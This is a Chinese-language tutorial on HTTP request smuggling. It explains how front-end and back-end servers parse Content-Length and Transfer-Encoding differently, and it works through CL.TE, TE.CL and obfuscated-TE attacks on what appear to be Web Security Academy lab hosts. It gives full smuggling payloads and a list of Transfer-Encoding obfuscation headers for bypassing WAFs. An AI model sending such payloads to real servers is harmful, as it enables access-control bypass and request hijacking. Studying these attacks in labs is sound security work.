[TOC]

相关知识

在了解 HTTP 请求走私之前,需要知道 HTTP 协议中的 Content-Length Transfer-Encoding 这两个字段的作用。

  1. Content-Length 用于明确指示 HTTP 消息体的字节长度(以字节为单位)。

  2. Transfer-Encoding用于定义消息体在传输过程中的编码方式,最常见的是 chunked(分块传输),其核心作用是:允许在不知道总长度的情况下传输数据。

  3. Connection: Keep-alive,其作用是告诉服务器,处理完这个 HTTP 请求后不要关闭 TCP连接,对后面访问这台服务器的 HTTP 请求重用这个 TCP 连接,这样只需要进行一次 TCP握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。

HTTP请求走私原理

HTTP 请求走私漏洞是利用不同网络组件(浏览器、反向代理、负载均衡器、后端服务器)对同一报文边界或头部(尤其 Content-Length Transfer-Encoding )的解释不一致来把 隐藏/额外 的请求塞入合法请求流,从而让攻击者在别人的会话中注入请求、窃取/篡改响应、绕过访问控制或使服务器异常。此类攻击基于协议解析差异,而不是应用逻辑漏洞。

RFC 2616 中关于 HTTP 请求走私的内容描述

HTTP 报文由请求行、头部字段、空行和消息体组成。问题就出在“消息体(message-body)”的长度确定。

RFC 2616 明确了优先级:Transfer-Encoding > Content-Length >连接关闭。但并未强制要求服务器在同时出现两者时必须拒绝请求。它只说 “If Transfer-Encoding is present… then the transfer-length is defined by that header”。因此,不同实现(代理、Web 服务器)对这种情况的处理不一致:有的按 Transfer-Encoding,有的按 Content-Length。这种模糊性导致解析差异,是 HTTP 请求走私的根本原因。

当使用 Transfer-Encoding: chunked 时,消息体由若干“块(chunk)”组成。只有遇到“大小为 0 的块”才表示结束。

当服务器依据 Transfer-Encoding: chunked 对 HTTP数据包进行处理时,在消息体中遇到下面一串字符,服务器会认为消息体到这里就结束了!

1
2
0\r\n
\r\n

当使用 Content-Length 时,消息体的有效长度由 Content-Length 的值控制,Content-Length 的值只有在大于等于 0 时才是有效的,多余的消息体会被放到 HTTP 缓冲区中。

如果服务器 A 认为这是 chunked,而服务器 B 认为这是固定长度,则二者对“结束位置”的理解不同。

HTTP1.1 中有一个 Connection: Keep-alive 的特征,其作用是告诉服务器,处理完这个 HTTP 请求后不要关闭 TCP连接,对后面访问这台服务器的 HTTP 请求重用这个 TCP 连接,这样只需要进行一次 TCP握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。

HTTP Pipeline 是 HTTP/1.1 的一个特性,允许在同一个 TCP 连接上,不必等待前一个请求的响应,就可以连续发送多个请求,如

1
2
3
客户端 → TCP连接 → 服务器客户端发送:GET /page1 HTTP/1.1Host: example.com  
GET /page2 HTTP/1.1Host: example.com
GET /page3 HTTP/1.1Host: example.com

上面三个请求连续发送,不必等待第一个响应;

服务器在处理时必须按顺序处理并返回响应:

1
2
3
TTP/1.1 200 OK...响应1...  
HTTP/1.1 200 OK...响应2...
HTTP/1.1 200 OK...响应3...

pipeline 中多个请求共享同一连接,如果前端与后端对报文边界解析不一致(分别按照 Content-length Transfer-Encoding: chunked 进行解析),容易导致 HTTP 请求走私!

利用场景

场景:前端服务器(例如代理服务器)负责安全控制,只有被允许的请求才能转发给后端服务器,而后端服务器无条件的相信前端服务器转发过来的全部请求,并对每一个请求都进行响应。

影响范围

Nginx<1.17.7

漏洞利用

可以利用 HTTP 请求走私漏洞绕过一些 WAF!

CL.TE Bypass

CL.TE 代表当 HTTP 请求包中同时存在 Content-length Transfer-Encoding 字段时,前端服务器按照 Content-Length 字段处理 HTTP 请求包,后端服务器按照 Transfer-Encoding 字段处理 HTTP 请求包!

构造payload

1
2
3
4
5
6
7
8
9
10
POST / HTTP/1.1
Host: 0a48003804f775188128257c00f30019.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G

这里前端服务器按照 Content-Length 获取有效消息体,这里将 Content-length 设置为 6

0\r\n
\r\n
G

注:这里需要关闭 Update Content-Length ,以防止自动更新 Content-Length 字段

当后端服务器收到该请求后,按照 Transfer-Encoding 获取消息体的有效长度,当读到

1
2
0\r\n
\r\n

时认为消息体已经结束了,字符 G 被放到了 pipeline 中,当处理下一个请求时会将字符 G 及下一个 HTTP 请求包从pipeline 中取出并作为下一个请求,当字符 G 与下一个 POST 请求包拼接时,HTTP 请求方法就变成了 GPOST

TE.CL Bypass

TE.CL 代表当 HTTP 请求包中同时存在 Content-length Transfer-Encoding 字段时,前端服务器按照 Transfer-Encoding 字段处理 HTTP 请求包,后端服务器按照 Content-Length 字段处理 HTTP 请求包!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 0ad9004a0451169e80507c0400a90076.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-length: 15

x=1
0


Obfuscating TE

前端和后端服务器都支持 Transfer-Encoding ,通过混淆能让它们在处理时产生分歧!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: 0a9c0091041b6e74819d534700790088.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0


其他可用于 TE 混淆的 payload

1
2
3
4
5
6
7
8
Transfer-Encoding: xchunked
Transfer-Encoding[空格]: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked[空格]
Transfer-Encoding: chunkedX: X[\n]
Transfer-Encoding: chunked
Transfer-Encoding: chunked

HTTP请求走私绕WAF原理

这里首先要明白一个点:pipeline 是在后端服务器中的!

前端服务器(用于安全检查的服务器)按照 Content-Length Transfer-Encoding 指定的长度或特定结束标识符检查对应长度的内容,若内容没有问题,会将整个 HTTP 请求包发送到后端服务器,这样就能利用 Content-Length 指定的长度或 Transfer-Encoding 特定结束标识符绕过 WAF 检测,多余的内容存放在后端服务器的 pipeline 中!